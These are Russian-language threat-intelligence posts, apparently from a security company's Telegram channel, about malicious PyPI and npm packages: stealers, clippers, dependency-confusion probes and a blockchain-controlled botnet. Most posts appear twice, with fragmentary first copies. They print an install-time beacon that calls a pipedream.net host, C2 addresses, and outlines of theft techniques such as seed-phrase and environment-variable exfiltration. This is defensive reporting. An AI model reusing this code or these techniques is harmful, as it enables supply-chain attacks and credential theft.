🤨 Добавляете закладки в опенсорс-репозитории? Молодой человек, пройдемте.
В рамках threat intelligence, помимо исследования «традиционных» вредоносных программ, мы также занимаемся поиском закладок в репозитории Python Package Index с помощью сервиса PT PyAnalysis.
Тенденция такова, что не проходит и недели без троянов☕️ . При этом злоумышленники загружают не только полнофункциональные инфостилеры, но и свои маленькие пробы пера.
PT PyAnalysis очернил проекты нескольких разработчиков за последние дни, расскажем о самых интересных поделках:
🤔 Скрины 1, 2. Кампания с Android-стилером, содержащим арабские комментарии. Он отправляет файлы через телеграм-бот (как их детектить в сетевом трафике своей инфраструктуры мы писали здесь), токен которого вшит в коде. Пакеты имеют название вида
🤔 Скрин 3. Серия клипперов (троянов, ворующих данные из буфера обмена — clipboard), косящих под проверки лицензии. Закрепляются на устройствах под управлением Windows, добавляя запись автозагрузки в реестр. Слушают буфер обмена каждую секунду, в случае изменений отправляют данные в дискорд-канал. Пакеты имеют названия вида
🤔 Скрины 4, 5. Стилер, обходящий диски в поисках файлов
Уведомили Python Package Index, пакеты выпилены👋
Несмотря на то, что названия этих пакетов выглядят незамысловато и вряд ли вы опечатаетесь, написав❤️
#ti #stealer #pypi #pyanalysis
@ptescalator
В рамках threat intelligence, помимо исследования «традиционных» вредоносных программ, мы также занимаемся поиском закладок в репозитории Python Package Index с помощью сервиса PT PyAnalysis.
Тенденция такова, что не проходит и недели без троянов
PT PyAnalysis очернил проекты нескольких разработчиков за последние дни, расскажем о самых интересных поделках:
raquest
, ebell
.testjsonn1
, testjson2
, gentorqkkh
..env
, добывающий ключи SSH из стандартных путей и отправляющий все добро на сервер злоумышленника с помощью утилиты curl. Имеет логику, зависящую от целевой платформы: отдельную — для Windows, отдельную — для Linux и MacOS. Пакет: popeye-pip-v3
. Имя разработчика говорит само за себя: shyam_the_hacker
.Уведомили Python Package Index, пакеты выпилены
Несмотря на то, что названия этих пакетов выглядят незамысловато и вряд ли вы опечатаетесь, написав
raquest
вместо requests
, такие пакеты могут попасть к вам через транзитивные зависимости. Построение внутреннего защищенного зеркала — сложный, но жизненно важный элемент для обеспечения современной безопасной разработки #ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса» 🐱
За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.
Багхантеры против «Яндекса»
Еще в январе 2023 года человек с ником
Описание пакетов одинаковое:
Но странно, что в метаданных PyPI-проекта автор представляется как❕
Не говоря уже о том, что
Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).
Установка пакета из глобального репозитория произойдет, если:
🔤 Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.
🔤 ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прошел гайд для новичков.
🔤 В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.
🔤 В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории, значит, пакет наш и его нужно установить из внутреннего»).
Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку
😰 В августе 2024 года мы заметили, что авторство одного из пакетов пользователя
Во всех этих пакетах автором указан
У нас нет подробностей того, как🐱
To be continued...
#ti #pypi #pyanalysis
@ptescalator
За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.
Багхантеры против «Яндекса»
Еще в январе 2023 года человек с ником
yandex.bughunter
зарегистрировал пять пакетов с разными вариантами текста:
import subprocess
import os
import requests
#I am bughunter
#[email protected]
print('it works!')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl")
import requests
#I am bughunter
#[email protected]
print('If you read this message and you are from Yandex write me [email protected]')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite")
Описание пакетов одинаковое:
I created this package for security testing. I am bughunter from Yandex
. Но странно, что в метаданных PyPI-проекта автор представляется как
Thomas Anderson <[email protected]>
, то есть использует личную почту, а не корпоративные @team.yandex.ru / @yandex-team.ru
Не говоря уже о том, что
Thomas Anderson
— это тот самый мистер Андерсон из «Матрицы»...Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).
Установка пакета из глобального репозитория произойдет, если:
Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку
torchtriton
, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip: вот и весь секрет киллчейна.yandex.bughunter
забрал себе yandex-bot — аккаунт
, который владеет 1279 пакетами с интересными названиями, такими как yandex-soc-services-sdk
, yandex-cloud-ml-sdk-preview
, yandex-infradev-tool
... Во всех этих пакетах автором указан
Yandex <[email protected]>
. Описание гласит: A package to prevent Dependency Confusion attacks against Yandex
, а сами пакеты вызывают исключение при попытке их поставить:
class InstallCommand(install):
def run(self):
raise RuntimeError("You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details")
У нас нет подробностей того, как
yandex.bughunter
узнал список пакетов внутренней кухни «Яндекса», но, похоже, что компания заметила это и начала договариваться с багхантером. Или потихоньку отжимает пакеты через администрацию PyPI To be continued...
#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Страсти опенсорса: часть вторая
Инфостилеры🧋
Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик
И выпустил пакет❌
1001 мимикрия под requests😵💫
Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов🐶
Вредоносная нагрузка расположена в
Сезон отстуков🏖
В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения.
На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты
———
А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно👍
#ti #stealer #pypi #pyanalysis
@ptescalator
Инфостилеры
Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик
GeorgeTheMightyDev
подумал: «А что, если...»И выпустил пакет
pojang-resorter
, который благодарит вас за то, что вы установили его приложение, ведь вы даете ему возможность сделать скриншот и отправить его на сервер Discord (скриншот 1). В следующих версиях нагрузка будет упакована в PyInstaller, а код — обфусцирован, однако мы оценили изначальное благородство автора 1001 мимикрия под requests
Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов
flophttp
и invokehttp
. Так как в обоих случаях автор подписал себя как Kiany Reeves, у нас нет сомнений, что это одна кампания Вредоносная нагрузка расположена в
__init__.py
и представляет собой обфусцированный однострочник (скриншот 2). Учитывая, что автор задает для библиотек и методов такие алиасы, как borrow
, blacktrone
, pickachu
, takihao
(скриншот 3), становится понятно, что наш злоумышленник — человек культуры.Сезон отстуков
В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения.
На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты
artifact-lab-3-package-77d0c154
, artifact-lab-3-package-89883da3
, tiktok-session-lite-sdk
.———
А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно
#ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Снова ловим багхантеров 💀
В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.
Сработал алерт на активность, связанную с новыми вредоносными пакетами
Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.
🐈 Подозреваем, автор читал мартовскую статью Checkmarx, где злоумышленник «протроянил» пакет colorama. Был сделан pull request, который, помимо всего прочего, в ссылках на дистрибутивы легитимный домен
Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.
Далее к пакетам🤨 Занятно. Нагрузка все та же — реверс-шеллы.
Домен🤬 . Что-ж...
———
PT PyAnalysis . Профессионально отслеживаем багхантеров с 2024 года.
#ti #pypi #pyanalysis
@ptescalator
В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.
Сработал алерт на активность, связанную с новыми вредоносными пакетами
innostage
и innostage_group
. История нетипичная: почта у разработчика — [email protected]
(о, русскоговорящий человек!), а нагрузка скачивается с доменов files.inostage.ru
(мимикрия под innostage-group.ru
) и files.pythonhosted.ru
(мимикрия под files.pythonhosted.org
). Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.
files.pythonhosted.org
поменял на управляемый атакующим files.pypihosted.org
.Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.
Далее к пакетам
innostage
и innostage_group
прибавились cyberart
, ... posi
, maxpatrol
и ptsecurity
Домен
inostage.ru
уже ранее светился на Standoff. Получается, снова обнаружили деятельность багхантеров, в этот раз еще и помешав исследованию ———
#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Через блокчейн к данным ⭐️
Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum😦
Из занятного — в коде библиотек используется несколько комментариев на русском:
•
•
•
Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.
В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов:
Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.
1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был😈 , остальные представляют собой VPS-серверы.
2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.
3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.
4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:
Эта строка проливает свет на возможные цели злоумышленника☕️
IoCs:
#ti #npm #pyanalysis #scs
@ptescalator
Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum
Из занятного — в коде библиотек используется несколько комментариев на русском:
•
console.error("Ошибка при получении IP адреса:", err)
;•
console.error("Ошибка при запуске файла:", _0x88fda8)
;•
console.error("Ошибка установки:", _0x14ce94)
;Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.
В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов:
node-win.exe
, node-linux
, node-macos
. Ниже мы будем называть их агентами.Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.
1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был
http://localhost:3001
2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.
3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.
4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:
{"statusCode":404,"message":"ENOENT: no such file or directory, stat '/root/botnet-server/public/index.html'"}
Эта строка проливает свет на возможные цели злоумышленника
IoCs:
http://194.53.54.188:3001
http://193.233.201.21:3001
http://45.125.67.172:1337
http://45.125.67.172:1228
194.53.54.188
193.233.201.21
45.125.67.172
#ti #npm #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Первые шаги на хакерском поприще 🐱
Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие
Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.
1️⃣ Пользователь SpaceyLad создал цепочку из двух пакетов:
🟢
🟢
В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением
Из занятного — в релизах проектов оставлены папки🐈
2️⃣ В июле-августе 2024 года существовал пакет
Первые версии пакета выглядят безобидными (скриншот 4 — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (скриншот 5 — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (скриншот 6), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.
Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем
Сам подменяемый
Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону PyAnalysis😍
Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников🎂
#ti #pypi #pyanalysis #scs
@ptescalator
Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие
boto3
, scikit-learn
, requests
(концепт-план версии 0.2.0 — вполне креативный).Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.
1️⃣ Пользователь SpaceyLad создал цепочку из двух пакетов:
not-so-evil-package-spaceylad
, код которого представлен на скриншотах 1 (оригинальная версия) и 2 (после автоматической деобфускации). Этот пакет отвечает за хранение строки с командой для скачивания нагрузки.not-evil-calculator-spaceylad
, который непосредственно запустит команду, — скриншот 3.В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением
.css
. Если вам не повезло, со страницы автора на PythonAnywhere скачан файл evil_python.exe
, представляющий собой... calc.exe
из пакета стандартных программ Windows. Но и в этом случае нагрузка отработает при наличии пользователя IXY
.Из занятного — в релизах проектов оставлены папки
.idea
(папка проекта в IDE PyCharm) и .venv
(папка с виртуальным окружением Python), которые, помимо скудной информации об авторе пакета, позволили узнать нам оригинальное название проекта — pip_evil_package
. Также благодаря нехитрой цепочке «гугления» выясняется, что разработчик является студентом факультета кибербезопасности одного из университетов Норвегии 2️⃣ В июле-августе 2024 года существовал пакет
recovery
, задача которого согласно описанию была простой: Checks recovery phone numbers against login page on yahoo
. Имя автора, ExodusChecker
, вызывает смутные подозрения, но давайте не будем торопиться.Первые версии пакета выглядят безобидными (скриншот 4 — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (скриншот 5 — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (скриншот 6), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.
Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем
hammy
, тестирующий на Exodus 24.31.4
) в универсальный работающий код. Далее велись лишь QoL-работы. Конечный результат вы можете видеть на скриншоте 7, он отражает тридцатый по счeту релиз — 0.3.1. Скрипт suckme.bat
, сохраняемый в папку автозагрузки, — это отдельный анекдот.Сам подменяемый
app.asar
использует технику, ранее описанную JFrog в Impala Stealer, по отношению к хранилищу пакетов .NET NuGet: функция unlock
из app/wallet/index.js
получает функциональность отправки сид-фразы злоумышленнику (скриншоты 8, 9).Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону PyAnalysis
Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников
#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳
Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись
Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).
Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе🐱 .
IoCs:
#ti #pypi #pyanalysis #scs
@ptescalator
Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись
bvk
в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал вредоносные пакеты deepseeek и deepseekai.Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).
Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе
IoCs:
пакет PyPI: deepseeek
пакет PyPI: deepseekai
c2: eoyyiyqubj7mquj.m.pipedream.net
#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM